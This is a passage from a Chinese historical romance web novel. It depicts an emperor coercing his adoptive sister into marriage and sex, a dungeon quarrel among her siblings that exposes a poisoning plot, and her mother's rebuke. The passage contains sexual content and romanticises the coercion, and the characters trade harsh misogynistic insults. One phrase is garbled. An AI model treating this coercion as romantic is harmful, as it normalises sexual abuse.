媜珠赤身披发,在榻上膝行上前,跪在他跟前,垂着眸子给他解衣。
他衣袍下早有遮不住的异样,形状骇人,即便侍奉他多年,媜珠也还是害怕。
那是把利刃,要饮她的血才能解渴的刃。
这一场做的还算痛快,即便媜珠不曾婉顺地迎合,可好歹她没有要死要活地反抗,偶尔几下她还能稍稍配合他的动作,也算是难得了。
她没有自讨苦吃,周奉疆动作间对她也尚算温柔,倒是没有再弄伤她。
四次。
云雨毕,皇帝精神尚好,并未疲倦,甚至还有些惬意地揽着媜珠的身子靠在床头回味方才的滋味。
媜珠一身薄汗,满面潮红,似乎也十分温顺地靠在他怀中。
等周奉疆下榻取了茶盏来喂她喝水后,她喉间湿润了几分,思忖着他吃饱喝足了,这会儿应该就是心情最好的时候,遂开口向他索要自己的报酬:
“你不能再伤我的姐姐和弟弟。我二姐姐流落在外多年,一朝得回,不论张道恭是什么人,和她无关。——你要复她公主之位,给她公主奉养,不能追究过去之事。
还有穆王弟弟,他是无辜的,我做的这些事并非他挑唆谋划,是我求他帮我的,你若是要惩罚,就惩罚我一人之身即可。放过我弟弟一家。”
周奉疆刚行完房事后尚且处于一片极致销魂中的头颅,过了好半晌才慢慢回过味来。
他有些五味杂陈地看着媜珠,最终还是被她给直接气笑了。
媜珠梗着脖子和他追加了一句:“是你刚刚亲口和我说的,你说这个时候你心情最好,我和你提什么要求你都会答应我。”
周奉疆冷讽她:“朕是说了这话,可朕说的是,你提什么要求,也许朕都会答应你。朕可没保证不论你要什么都必须给你。”
媜珠不可置信地望向他。
周奉疆又嗤笑:“何况,你姐姐弟弟们犯的是谋逆大罪,车裂凌迟剥皮实草也不为过。
——色冠北地三十州的第一美人,你的身子就这么值钱,给朕睡几次就能留他们一条活命?”
言语伤人,可他真正想说的是,媜媜,你的身子就这么不值钱么?你和我同房合欢,最后竟然就只是为了给这些人求情?你把你的身子当做什么?把我当做什么?
媜珠唇瓣微张,想说些什么又说不出口,还不等她发疯,周奉疆继而还道:
“嗯,你不止要保他们的命,你还要保他们的荣华富贵,要他们继续锦衣玉食养尊处优呢。”
“何况,就算你真心拿人家当手足,人家背地里骂你贱妇淫妇不得好死的时候,你还没见着呢。也真是难得有你这样菩萨心肠的好妹妹好姐姐,肯帮着这些非出一母、各怀鬼胎的所谓亲人。”
“好了,你别哭闹了,深更半夜又吵又闹的,左右宫人侍从们听见了像什么样?还以为朕又将你怎么了呢!待咱们回了长安,朕亲眼带你去见见你那好弟弟好姐姐的真面目,看看你这蠢货有没有悔改的一日。”
天子的銮驾,于十日后回到了长安。
大概,这也是周奉疆一生中颇有意义的一日。
这一日,随着南楚的亡国君臣们被带回长安,按照每朝每代的惯例,新朝的都城内都举行了极为隆重的献俘仪式,昭示着新朝天子的战功与胜利。
长安街道沸腾,满城喧嚣,街头巷尾之内便是百姓的议论。
前朝的亡国之君,当真是被俘了回来,彻底终结了前楚张氏江山的寿命与最后的希望了。
“得天下之艰,少有险于魏太祖者。”
这是后世对周奉疆前半生的评价。
意思是,论得到天下的艰难程度,很少有比魏太祖皇帝更险峻的了。
这说的是“险”而非“难”。
何为险?
他的前半生里实在有太多太多次应该死去的机会了,不论他哪一个坎没有挺过去,只要他死了,后来的史书故事里,都不会再有他的名字,这江山也不会再和他有关。
襁褓之中随生母流浪时,像他这样的婴孩是应该死去的;
在生母身边的那几年,面对生母的苛责与饥寒折磨,他应该随便患上一场病然后静静死去的;
生母抛弃他后,一个这样年幼的孩子是没有理由活下来的。
六岁那年,被军中士卒们起哄在深夜前往黑皮子山上替他们取箭囊时,他是应该死去的,也许是被山中豺狼所食,也许是失足滚落山坡,总之他都该去死。
后来成为冀州侯周鼎的养子,被他当做一个可以随时舍弃牺牲的家奴一般使唤,替周鼎鞍前马后的那些年里,战场上无数的刀剑流矢,都应该要了他的命才对。
周鼎去定州打义武节度使时,面对定州城的坚固城防,令他的养子周奉疆带着一批士卒先行架云梯登墙。
攻城时,第一批冲上去的人,总是默认是用来牺牲的。
他不敢违背养父的命令,只能硬着头皮上,最后偏偏他没死。
他顺着那云梯咬牙往定州城墙上爬,城墙上的守城士兵们用长枪往下刺、用巨石朝下砸,甚至还取了滚烫的沸水朝下泼,他都挺了过来。
他后背有一片狰狞的伤口,便是那时被沸水所泼后留下的疤痕。
他不仅没死,他还真的第一个爬上了定州城,并且单手砍掉了悬于城墙上的定州纛旗。
坦然安坐在城墙太师椅上的义武节度使看见这单枪匹马爬上城楼的冀州小将军,竟一下被吓得气血上涌,双手颤抖着指着周奉疆说出了他人生中的最后两句话:
“周鼎麾下安有此猛将?我定州之亡,亦在情理中!”
“定州虽亡,可有此虎将在,周鼎……周鼎他自己养虎为患,也必不得善终!未必强于我……”
说完这句话后,义武节度使呕出一口老血,一下不省人事。
定州城墙上的士卒顿时军心已去,慌不择路,再无抵抗之气势。周鼎遂得定州。
凡此种种,周奉疆都挺了过来,活了下去。
他打败了张道恭,打败了养尊处优、出身高贵的堂堂皇子。
这一天,是史书也当为他记得的时刻。
第62章
这样的日子里,身为皇后,媜珠自然要盛妆华服地陪在周奉疆身边。
早些时候他便让宫娥去唤醒媜珠,为她梳妆打扮,将那沉甸甸的流光溢彩的凤冠和一大把的步摇钗环朝她鬓发间堆上去。
这还是媜珠时隔多日后,第一次真正穿好自己的衣服,不用再衣不蔽体地见人了。
出乎周奉疆意料的是,媜珠今日居然无比配合,不仅没有说半个不字,任由宫娥们将她各种折腾,她揽镜自照,对镜理妆,甚至还会主动给出一些意见,说她的气色不大好,那胭脂的颜色可以抹得稍重一些,不然不好看。
在献俘礼上,她站在他身边,陪他一同见证这样盛大恢弘的场面,接受百官朝拜叩首。
她的美丽,是他万里江山里最动人的一片风情,是盛世天下最骄傲的妆点,又最终在后世文人墨客的诗词笔墨里,被凝结为大魏一朝最倾国的象征。
——不过这个时候,周奉疆一度怀疑,她那样恨他,或许会趁他不注意的时候突然发一场疯,在文武百官和南楚降臣们面前猛地上来再给他一巴掌,骂他几句,然后让此事必会被史书所载,沦为青史笑谈。
可他会这么想,事实上还是因为他不懂媜珠。
媜珠并没有这么做。
虽不是心甘情愿去做自己兄长的皇后,但当她被人骤然架到众人面前、要求她去做这个皇后时,她恪守本分,举止端庄娴雅,一举一动间没有半分错漏之处,仿佛她真的是他的好妻子,好皇后。
因为她要脸。
她是个要脸面的人,私下和周奉疆闹得再厉害,到了旁人面前,她都得顾忌着自己的颜面,绝不会做出出格失态的事情来。
在这献俘礼上,赵太后自然也会出席。
大约媜珠的这份要脸也来自于她母亲赵太后的言传身教。
媜珠对周奉疆憋着一肚子的气却不敢在人前发作,她母亲赵太后何尝没有憋着对她的气呢?
可赵太后在众人眼皮子底下也是一言不发,只在别人看不见的角度里狠狠瞪了媜珠一眼,大概是回宫后要收拾她的意思。
媜珠至今不觉得自己哪里有错,哪怕面对母亲凶狠的眼神,她也坦然回之,不见半点心虚羞愧。
献俘礼毕,周奉疆带着媜珠去见了她的二姐姐和穆王弟弟。
不过,是在地牢里。
并且是他们悄悄在地牢的一侧,让她静声去听周婈珠和穆王周奉弘、穆王妃林氏以及颍川公主周芩姬的交谈。
不知何时,周奉疆竟已命人将周婈珠和穆王夫妻还有颍川公主关到了一个牢笼里。
这里头,还有四妹妹颍川公主的什么事么?
媜珠被周奉疆搂着腰站在这囚牢的一侧隔壁里,她只能透过一个微弱的小孔隐约看见二姐姐的一点影子,却不能真切地看见她的容颜。
周奉疆在她耳边低声呵斥她,眼底浮现一层玩味的笑意:
“别出声,朕带你看一场你周家的好戏。看完戏了,就让你去见你的姐姐弟弟。”
皇帝话音刚落,一旁的囚牢里,一位殿前都点检司指挥使模样的官员踏足入内。
那指挥使静了片刻,看了看穆王,看了看颍川公主,继而又看向了周婈珠。
他清了清嗓子,说道:“前月里,周淑妃利用颍川公主驸马之弟韩孝民夫妻,行内外勾结之事,串通穆王周奉弘,欲谋害天子与皇后,涉谋权篡位之极罪。尔等虽贵为皇亲宗室,然犯此极恶之罪,亦罪当诛灭。”
指挥使话音刚落,第一个坐不住的就是刚被从颍川公主府带过来的颍川公主周芩姬。
颍川公主连忙跪伏在地,声声求饶,口口冤枉:
“不!不,陛下明鉴,求陛下明鉴,妾驸马之弟韩孝民虽犯下重罪、无可抵赖,可妾与驸马是无辜的,妾和驸马都被蒙骗其中,当真不知内情啊!妾若知晓这些罪人如此胆大包天,必早已告发于陛下!”
她一面说话一面诚惶诚恐地磕起头来,“妾与生母、驸马受如今的福泽荣华,皆赖陛下与皇后的恩赐,妾永生永世、为奴为婢偿还陛下与皇后的恩情尚不能够,即便是畜生之流也不敢再谋害陛下、娘娘啊!求陛下、娘娘明鉴!若是陛下与娘娘罚妾管教家人不利、犯了牵连之罪,妾愿意认,可陛下娘娘若当真觉得妾有不忠不臣之心,妾宁愿万死也不敢认啊!”
周婈珠姿态骄傲地站立在一旁,见到周芩姬如此姿态、如此言语,重重地仰首哼了一声,忽地就冲上去狠狠踹了周芩姬一脚,钳起周芩姬的头发,朝着自己四妹妹的脸上就左右开弓扇了几个巴掌。
“不要脸的娼妇!你和周媜珠、你们这些人都是一丘之貉,你们一窝的老鼠不嫌骚,全是自甘下贱的货色,对着血海深仇的仇人卑躬屈膝、奴颜婢膝!我父亲堂堂冀州侯一世枭雄,如何养出你们这些下贱的女儿!你们不配做周家的女儿!”
她连连嗤笑:“如何呢?如何呢?你觉得你现在在这里哐哐地磕头,磕到脑袋都烂了,周奉疆和周媜珠那对奸夫淫妇就能放过你了?无耻至极的笑话!贱婢!你对得起你死去的兄弟、叔父和堂兄弟们吗?你的骨气呢!亏你也是冀州侯之女,就是乡下农户人家的粗俗女儿,也比你有气性些!”
周芩姬措不及防被她痛殴了一顿,好半晌才终于回过神来,惨叫着手足并用地挣扎起来,躲过了这阔别多年不见的二姐姐的毒手。
她连爬带跑地躲到了囚牢的一角,一手指着周婈珠,口不择言地和她对骂起来:
“我为什么要管这些人的死活!他们死了就死了,和我什么相干!我不过是个不得宠妾室生的庶女罢了,我在冀州侯府里谨小慎微好不容易长到这么大,什么狗屁的兄弟、狗屁的叔父、狗屁的堂兄弟,谁多给过我二两银子让我裁一身新衣裳吗!死了就死了,死了人少我还嫌清净呢!”
周婈珠尖声回怼:“是啊,家里的兄弟在你眼里都是外人,那现在他们都死了,家业落到了周奉疆的手里,你就过上好日子了吗?你就尊贵了,富贵了,你——”
“对,我就是富贵了!”
周芩姬的声音比周婈珠更加尖锐:“如今我贵为公主,享公主奉养,安安分分过着日子,和我的生母、丈夫、儿女们待在一起,有天伦之乐,可安享荣华,我过得好得很!什么兄弟叔父们,他们死了和我有什么关系?我不欠他们的,不必为他们哭丧叫魂,我只要过好自己的日子就行了!
——我告诉你,别说是周奉疆杀了我兄弟了,就算他把我父亲也杀了,只要他不杀我和我母亲、只要他能让我好好过日子,我都不在乎这些!”
周芩姬一手捂着自己脸颊上被周婈珠掌掴后红肿的皮肉,对着周婈珠冷笑:
“周婈珠,哦不,周菱,周菱角,你又在我面前装什么清贵刚烈!你以为你是什么冀州侯长女贵不可言,实际上和我一样,不过是周家的一个小小庶女罢了!你哪来的脸面跳出来替你父亲兄弟们抗这么大的牌坊?也不怕压死你自己!你父亲几时拿你当过什么人物了?呵!”
颍川公主周芩姬缓缓直起自己的脊背来,而周婈珠则蓦然被她威逼得后退了几步,气势上竟然就这么短了她一截了。
周芩姬顿了顿,回忆着自己从前在冀州的那些闺阁少女时光,对周婈珠又道:
“就算周家有个牌坊要人扛,这辈子也轮不到咱们这些做女儿的。我父亲那么多儿子,虽然被杀了不少,可活着的也不是没有呀!他的家业是要留给儿子的,不论是庶子嫡子,总归和女儿们没有关系。我们这些女儿养在家里,连他养的牲畜、他的犬马都算不上!
他养的畜生们,他还叫人好吃好喝地喂着,时常过去逗弄一番,可他的女儿们呢?他那么多的女儿,有好好陪伴过谁吗?父亲死时,我十四岁了,十四年来,他连一个好好的生辰都没有给我过一次,他算个什么父亲!他的儿子、兄弟、侄儿们被人杀了,我替他哭什么丧!”
周婈珠反唇相讥:“他不算你父亲,你凭什么做公主?你这些年好吃好喝地长大,不都是父亲的供养!没有父亲,没有周家,哪来你的今日?”
周芩姬怒而回道:“我吃了他十几年的饭,我就要对他感恩戴德?他一时欲念上头、随手宠幸过我的生母而后有了我,是他要生的我,为人生父,他养活我不是天经地义,我有什么可感激他的!别说是没受过他宠爱的我了,就算是被他捧在手心宠过的周媜珠,我看也未必需要去给他扛周家的牌坊!我们这些做女儿的不欠他!”
眼看姐妹二人吵来吵去是吵不出个谁对谁错来了,周芩姬又怒指一旁的穆王:
“周婈珠,你倒是烈性,你和我一个女子寻什么麻烦?你怎么不去问问这周家的堂堂男子,问问你父亲的儿子为什么不抗牌坊给他周家去复仇!问问穆王周奉弘!他和我一样享受着周奉疆给的荣华富贵,你口口声声只说我不配,怎么不说他这个男人不配!怎么不说他没有骨气了!”
穆王周奉弘坐在这牢笼的一角,听着这两个姐姐的你争我吵,互相责难,已经被吵得头昏脑涨了。
陡然被周芩姬叫到自己的名字,他也是一肚子的窝火,心知自己此番落到周奉疆的手上,必然没有活命的时机了,于是也同样破罐子破摔地怒而起身,厉声大骂起来:
“够了!你们这一群无能无知的贱妇!我看你们才是一窝的老鼠不嫌骚,你们才没一个好东西!周媜珠,你周婈珠,还有你周芩姬,你们以为自己谁比谁占理过,你们都是一群贱人!”
他指天而骂:“我父亲就没养过一个中用的女儿,不是荡妇就是娼妇,不是蠢货就是贱种,各个都该死!
周媜珠就是荡妇中的荡妇,装无辜扮无知地在周奉疆身边伺候着,踩着自己亲兄弟们的血坐上了这所谓的中宫宝座,我父亲若是有眼在世,就该第一个先杀了这荡妇再说!”
“还有你,周婈珠,你以为你是什么好人?你也是个离不得男人的娼妇罢了!你让我们穆王府送珍珠手钏给周媜珠,哄骗她在周奉疆身边打开那手钏里的机关,说是那手钏里藏着的蛊虫可以让人昏迷,实则那可是一对毒虫,是能要人性命的!你要杀周奉疆,要杀周媜珠,好,我赞成,这对奸夫淫妇死不足惜,可是杀完他们之后呢?你居然劝我在长安造势,帮你迎张道恭重回中原复国?!
——你真是千刀万剐的蠢货啊!周媜珠和周芩姬都没你这么蠢!你都能设计杀了周奉疆与周媜珠了,你居然不想办法扶持自己的亲弟弟上位,竟然要我帮你千里迢迢迎回张道恭?张道恭给你什么了?给你正妻之位?给你宠爱呵护?连我都看出来张道恭根本不稀罕你,你还上赶着贴上去帮他!”
“周媜珠纵使下贱,那也是周奉疆先馋她的美色,是周奉疆非要她不可的。可你呢?你满脑子除了男人还是男人,张道恭不稀罕你、你也要倒贴着伺候他,你比周媜珠下贱一万倍!”
周婈珠是万万没想到自己最寄予厚望的亲弟弟也有这样指责自己的一日,没想到在亲弟弟的眼里,自己居然连周媜珠还不如……
被周芩姬和周奉弘轮番戳中的伤处,使她的内心崩溃颤抖起来,她浑身战栗,不可置信地摇头:
“不,不,你敢这样说我,你敢这样说我,我……”
周芩姬还附和道:“难道不是么?这笑话我们满长安都听说了,在岭南龙编县时,听说淑妃娘娘带着自己的侍卫请建德皇帝张道恭一起渡海出逃,结果危急时刻,张道恭一脚将淑妃踹落海中,欲自己独逃!哈哈哈哈,周婈珠,你聪明,你最有骨气,父亲在天之灵庇佑你,所以庇佑你找到的男人便是这样的!”
……
那间牢房里的争吵声后来渐渐离媜珠越来越远,越来越远。
她的神思模糊起来,仿佛陷入了自己的世界里,慢慢地听不到外面的声音了。
她最终没有勇气再去见自己的手足亲人们。在一片麻木中,她被周奉疆带回沓樰團隊了她原以为自己此生也不会再回来的椒房殿内。
周奉疆命宫娥们去替皇后换件衣裳:“那地方污秽,给皇后脸上和手上也擦一擦吧。”
媜珠麻木而僵硬地任由宫娥和嬷嬷们折腾着自己。
后来她被人收拾过了一遍,有人扶着她在殿内的美人榻上坐了下来。
周奉疆一步步逼近她,站到她面前,漫不经心地伸手挑起她的下巴:“怎么,上次见张道恭时吐够了,这次没的吐了?”
媜珠被迫仰首和他直视,她看见他眼底的戏谑,看着他好整以暇的从容不迫,一直以来,他将一切都牢牢掌控在手心里,他什么都懂,他明白所有人的小心思,只是他懒得搭理而已。
他这样玩弄着所有人,高高在上地俯视着所有人的挣扎,也同样俯视着她。
媜珠的声音很轻,周奉疆并不确定那是不是在问自己:
“我二姐姐和弟弟,想杀我,想杀了我,原来他们从一开始就没打算帮我出逃,他们是想杀了我……”
周奉疆还是接了这句话:“对,他们都想你死,只有朕愿意护着你,护你一世周全顺遂。”
媜珠“哇”地一下低头吐在他龙袍的衣摆上,扶着美人榻的扶手又是一番排山倒海地吐了起来。
她终于还是再度吐了出来。
这一次,她要吐出的是什么呢?是她对这些手足兄弟姐妹们的情意吗?
二十多年来,所谓的手足情意,所谓的姐妹情深,原来都是自己的一厢情愿,是吗?
张道恭是个道貌岸然、人面兽心的畜生,二姐姐也不喜欢自己,弟弟也不喜欢自己……
可她究竟做错了什么呢?
第63章
周奉疆在一旁默默地看着她吐,他觉得她可恨,有时又觉得她也的确可怜,可怜得让人发笑。
或许他该乘胜追击,在这时候再多骂她几句,最好能彻底骂醒她那颗太过柔软、柔软得敌我不分的菩萨心肠。
但这一刻,看着媜珠那因多日郁郁寡欢而愈发消瘦的纤细身体跪伏在地费力呕吐的模样,他却短暂地说不出话来了。
他和媜珠一起养的那只波斯猫灿娘子月余不见两位主人,正是想念他们的时候,见周奉疆与媜珠一道回来,灿娘子喵喵直叫地竖起大尾巴,从多宝阁上跳了下来,四只爪子哒哒哒地踩在地上,飞快地朝他们跑过来。
它本欲上去缠着媜珠撒娇,见媜珠情绪低落、继而忽然作呕起来,灿娘子被吓了一大跳,圆圆的金色眼睛里满是不解和担忧,尾巴也低垂了下来,默默地趴在媜珠脚边,用毛绒绒的脑袋轻蹭媜珠的衣裙。
畜生尚能感知到她的痛苦,周奉疆又岂能连畜生还不如?
他沉默地给她端来一盏温茶,轻轻搁在媜珠的边上,又命宫娥们进来给皇后收拾收拾,而他也正想出去,给媜珠一点自己冷静冷静的时间。
可紧跟在后头的,是赵太后的催逼责骂也追了上来。
媜珠这边还在一边垂泪一边呕吐,承圣殿那头就打发了个宦官过来,说是赵太后召皇后去见她。
媜珠低头不理,佩芝偷偷觑了觑帝后二人的神色,遂上前语气和缓地回绝了那承圣殿的宦官:
“我们娘娘方从夔州车马劳顿回宫里来,正是身上累乏,又有些水土不服,医官们说是叫多歇歇,不若明日再……”
那宦官连声说不可,“太后召见,叫奴婢一定请皇后娘娘过去,这是太后的意思。”
媜珠在里间听到他们的谈话声,这时候她该吐的也吐尽了,颤颤地从地上被宫娥们扶了起来,阖眼缓了缓,轻声吐息:
“告诉太后,妾会去给母亲请安的。——佩芝,叫她们来替我梳妆更衣吧。”
她并不是不知道自己要面对什么。
故而,媜珠这一次去承圣殿时,卸去了发间的大半珠宝簪钗,手腕、脖颈、耳垂上的首饰也是几乎一样没戴,又换了身极素净淡雅的宫裙,连轿辇也未传,垂眉顺目地踏入了承圣殿里。
媜珠跪地向她请安,赵太后冷冷哼了一下,也没唤媜珠起身,先是抬手将左右的宫娥宦官们全都挥退,殿内除了她们母女外,只有福蓉一人侍奉在侧。
她满面怒容,起身从主位的宝座上走了下来,一路行至媜珠面前,双目含恨地扬起巴掌就要扇到媜珠脸上去。
福蓉是不敢开口劝一言,而媜珠挺直了脊背静跪在地,看见了母亲扬起的手掌,可偏偏不躲不避,连眼睛都没眨一下。
最终这巴掌赵太后还是没忍心落下来。
再怎么样,这也是她唯一的孩子,唯一的血脉啊。
媜珠贵为冀州侯嫡女,自出生便被她父母捧在手心疼爱,她素性乖巧温顺,懂事听话,从未做过半件叫父母不省心的事情,自然也从未受过父母的教训惩罚。
他们连一根手指头都没舍得碰过她。
所以,赵太后这已经扬起的巴掌,最后还是哗地收了回去。
她双眸含泪泛红,咬牙指着媜珠问道:
“亏你哥哥还有闲心把你这养不熟的畜生追回来!我以为索性就要你死在外面才好呢!你不如当年就真嫁了张道恭了,早几年死在逃难的路上,尸骨无存才好!活不见人死不见尸的,我也就不为你悬心牵挂了!”
有时候,没打出去的巴掌比实实在在打到人脸上的,更叫人痛苦煎熬。
母亲要是就这么直截了当地掌掴了她,把她的怒火用这个巴掌打出去,打在她的脸上,也许媜珠挨了打、吃了痛,心里对母亲的愧疚还能减轻些。
可母亲终究是没舍得。
母亲连打她一下都舍不得,而她却实实在在地抛下过母亲逃跑了一次,哪怕的确是因为她已无法再忍受自己的兄长,可抛弃过母亲也是辩无可辩的事实,媜珠无法不内疚。
——而她对母亲的愧疚,也仅有上次逃跑而已。这并不代表她能理解母亲所做的所有事。
赵太后被她气哭了,媜珠何尝不是泪如雨下,跪在母亲的脚边轻轻唤她:“娘……”
“你别叫我娘!我可不敢有你这样的女儿!我有一个皇帝那样的好儿子就够了,无用又不孝的儿女,纵使是亲生的,我也一个都不想要!”
“娘……”
赵太后狠狠推了一把媜珠的肩头,站在她面前厉声教训她:
“从小到大,你娘是如何教养你的?诗书礼乐、女红针黹、琴棋书画,凡百样的东西,都为你请聘名师,悉心教养你、抚育你,家中姊妹们,谁还能比得过你?便是前楚时宫中那些公主们,也未必有你养的好!可你呢?我便是请来个驯兽杂耍的给我训养一条狗,训出来也该比你听话聪明些!周媜珠啊,你怎能愚笨至此!”
她一面骂,一面伸出手指狠狠戳了戳媜珠的脑袋,
“你想一出是一出、把你娘抛下就出去寻野男人淫奔的事,我且先懒得说了,这一路大大小小的事情,皇帝也都告诉了我,我先问你第一桩,
——你那旧情郎张道恭,你还要不要他了?还念不念着要和他再续前缘、郎情妾意了?”
媜珠哽咽着为自己辩解:“娘,女儿出宫不是生性放荡去寻旁的男人的,我是因为真的实在无法忍受被他强占侮辱,我实在受不了要去侍奉自己的兄长……所以我才,我才这么想走,娘……”
赵太后又伸手继续戳她的脑袋:“我不想听你说这些有的没的了!你就告诉我,你那旧情郎,你还想不想他了?!”
媜珠垂眸,双手紧握着袖口:“他非我良配,更非良人,我已绝了和他那份情爱的心思,再也不念年少往事了。”
赵太后满意地哼笑了下,“这才对,当年我允你和那河间王张道恭往来,不就是看中了他的亲王身份?要是他们家的江山不倒,你能嫁了他做个王妃,来日做太子妃、做皇后,方不算辱没了你的贵重。我当年就告诉你,你是奔着给你娘争口气才和他往来的,可不是奔着找情郎的!我要真是想给你找个情郎让你爱得死去活来的,索性把周家大门一敞,满冀州城有的是少年郎给你挑拣!
——如今这没用的情郎都做了亡国奴了,你要是再念着他和他一起去做亡国奴,也真算你蠢出生天了。”
媜珠的声音很低:“娘,我绝了对他的心思,并非因他富贵与否……是因为我发现他秉性懦弱虚伪、自私残忍,其所行事、非人可以所为,这样的人,不论是亡国奴还是万户侯,我都不愿嫁。”
赵太后不耐烦地呵斥她:“好了,断了就断了,我不想听你这些没用的废话!张道恭当然是个畜生,能纵容士卒侮辱自己老娘的皇帝,还真是古往今来闻所未闻,他生母都这样了,你当年要是嫁了他,恐怕如今我这个岳母也没什么好下场!”
福蓉这时候在一旁搭了话,算是替媜珠解了解围:
“太后。太后,这其间也不全然是娘娘的过错,娘娘今年也才二十二岁的年纪,还是年轻姑娘家,年轻的女孩儿们,在男人身上总有些太过单纯的情爱的心思,太懵懂烂漫的,没真正吃过男人的苦头,哪里是轻易能改掉的。”
……
这话令正在气头上的赵太后也有了一瞬间的恍惚失神。
是啊,这世间十之八九的女人,年轻时候皆是这般痴傻,认准了一个男人就不愿轻易更改,总要到了吃尽柴米油盐的磋磨后,才能在琐碎的婚姻里看清男人的真面目,从此绝了情情爱爱的闲心,开始专心顾起自己来。
她年轻时,她有媜珠这个年岁时,又何尝没在媜珠父亲身上栽过跟头呢?
她人生中最美好的年华,是北地霸主冀州节度使、俪阳公主之子周鼎的嫡妻,他们也是少年夫妻,周鼎对她极为宠爱。
十五岁那年,俪阳公主和老侯爷在整个冀州城里挑挑拣拣才挑中了她做儿媳,聘婚的媒人上了赵家的家门时,赵氏一族皆因她而荣。
后来有一日她在自己绣楼里静静地绣着嫁衣待嫁,突然有个一身轻甲的少年默不吭声地躲过外间的奴婢们跳进了她的闺阁里。
当时她被吓了一大跳,还未及呼喊,那少年对她笑道:
“赵瑟瑟,你就是我周鼎的女人啊。”
静谧的日光下,他身上的银白软甲泛着异样的光泽,衬的他少年意气风发,英姿伟岸。
他什么也没做,也未对她有轻薄唐突之举,只是从怀中掏出了一串十八子佛珠,递到了她面前。
“听说瑟瑟姑娘前些时日病了,这是我娘的生母宋淑妃生前留给我娘的东西,后来我娘给了我,说能保我一生平安的。给你,请瑟瑟姑娘收下吧。”
那佛珠上尚带着他的体温。
她的手像是被烫到,吓得瑟缩了一下。
后来嫁给周鼎,新婚时自然也是浓情蜜意,一对壁人。
可惜,成婚多年后,她才在婚姻中明白一个道理。
周鼎的女人永远不会只有她赵瑟瑟一个人。
他有太多太多的女人,不止是家里那些有名分的姬妾通房了,他在外征战时随手睡过又丢在一边没有带回家的女人更是不知有多少,多到她也曾在恨意中度过一个又一个夜晚,恨得她心尖发颤,恨得她面容扭曲。
有时,她看着周鼎,想象着他和其他女人在一张榻上的模样,她也会恶心的想吐。可无奈的是,当他终于会留宿在她身边时,她又会那样深爱着他一般去抱住他,亲吻他,希望他记得她的温柔与体贴。
仿佛她永远无法彻底恨他。
不过,直到今日,她仍然不后悔嫁给周鼎。
当这个故事讲到这里时,或许有看客会替她赵瑟瑟叹息一声,说,哦,若是这个女人能重来一次,她年轻时一定会选择嫁给别的男人,嫁给一个能一生一世一双人爱她的男人,而后在恩爱情深中重来一世,弥补前世的遗憾。
可她自己不这么认为。
天下乌鸦一般黑,男人十之八九都是这等龌龊东西,她有什么可重选的?哪怕重选了别人,这些人日后只要富贵起来,不也还是妻妾成群?
这些人尚且还不如周鼎,他们可没有本事留下能让她成为皇太后的家业。甚至都不能在乱世里保全她的性命。
她若是能重来,她还会嫁给周鼎。
但,她绝不会再那么傻地期盼和他夫妻恩爱、期盼得到他永远的宠爱呵护了。
她会按部就班地生下媜珠,收养周奉疆,然后数着日子盼他早死,数着日子盼养子早日登基,让自己成为皇太后。
她一定不会再把大好的光阴用来为他落泪、用来恨其他的女人。
她为他而伤心的那些时光,倘若被一个女人用来好好地爱自己、为自己的女儿绣两件肚兜,为自己娘家的母亲裁两件新衣,该多有意义啊?
她要的是安稳和富贵。
连赵太后自己都要花费大半生才能明白的道理,她想用三言两语说给女儿知晓,谈何容易呢?
也许母亲对女儿最大的无奈,便在于此间。
赵太后从回忆中抽身,当她再看向媜珠那仍旧桀骜不肯驯服的神态时,她内心反倒释然了许多了。
她又问了媜珠第二个问题:
“我知道皇帝带你去地牢见过你那些姐妹手足了,媜媜,你告诉我,现在你还真的再拿他们当你的至亲么?这世上,真正该是你至亲的人,是谁?”
媜珠方才在椒房殿时才因为此事吐过、伤心过,这会儿赵太后再问,媜珠愣愣地不肯说话了。
她不知道自己该说什么,该如何回答。
第64章
有那么几个瞬间,媜珠自己想一想,竟会觉得自己这一生若是就这么失忆下去,浑浑噩噩地在他掌心里过一辈子,似乎也没什么不好的。
至少,失忆的时候,她的生活过得简单而平静,她不用思考太多、操心太多,只要懂事听话地待在他身边陪着他,期盼着早日为他生下子嗣即可。
她不用经历如今这般各种各样的痛苦,兄长的强取豪夺,母亲的指责不满,旧日情郎的虚伪龌龊,还有她手足至亲的背叛欺骗……
她不明白自己的人生为什么会变成这样一团糟,明明她也对身边的所有人都真心相待,不论是对谁,她都没有做过一件对不起他们的事情,可到头来她换来的是什么?
为什么所有人都这样对她?
张道恭在私下抱怨她对他不贞,周奉疆怨恨她对他不忠,母亲指责她对她不孝,姐姐弟弟他们说她对家族不义。
为什么所有人都在恨她?为什么忽然之间她就被千夫所指、罪行累累?
穆王弟弟方才在地牢里骂她时,口口声声所称她“荡妇”“贱妇”“淫妇”,一声声都如利刃般刺在她心里,让她恨不得当场再呕出血来。
不过是因为在周奉疆面前,她怕他看了她的笑话,所以她才强撑着没有失态罢了。她不想让他看到,在她的家族里她是个多么失败的姐姐、多么不讨喜的妹妹。
她到底做错了什么值得周奉弘这样骂她?
犹记得他小时因体弱多病,并不怎么受父亲周鼎宠爱,她便经常去看望照料他,私下贴补了许多珍贵的药材给他补补身体,还想法子去请外头的医者们给他切脉问诊,用尽各种药膳补汤给他在饮食上滋补着,总算看着弟弟一日一日地健壮起来,她心中也是欢喜的。
除此之外,这么多年来她对他的各种爱护亦不可胜数,可最后他……
他如何能那般坦然地将那些污言秽语加之于她身上?
她这个姐姐,在他眼里当真就如此不堪吗?
弟弟对她的伤害,远比发现张道恭那虚伪的真面目来得更为伤人心。
媜珠在母亲面前沉默了许久不肯轻易开口说话,忽地呜咽一下用袖口捂着唇便哽咽大哭了起来。
那哭声悲咽凄婉,似一只在山林间与母兽走失后被猎人陷阱所捕捉的小兽,被兽夹夹断了大半条腿,呜呜咽咽丢了魂一样的啜泣。
赵太后看着她这样子,心中又恨又怜,咬牙又对她说:
“你还不知你这疼出来的好弟弟心里敢打多大的算盘呢!我告诉你,周婈珠那贱婢教唆挑拨你出逃,实则是想借你毒杀皇帝,再将你也给一道毒杀。而周奉弘那贱种王八崽子又想螳螂捕蝉、黄雀在后,想等你和皇帝毒发身亡后,他假拟传位诏书,趁国无主君之时谋权篡位!”
“人家背后的主意可都打好了!等他坐上了这把龙椅,第一个要先追封他那贱妾亲娘做皇后,要挪去和你那老匹夫父亲周鼎一块儿合葬。而后就把我这皇太后逼到别宫幽禁起来,一年半载的就够他把我磋磨死的!”
……
见媜珠不语,赵太后将这从头到尾的事情和媜珠细数了一遍,冷笑连连:
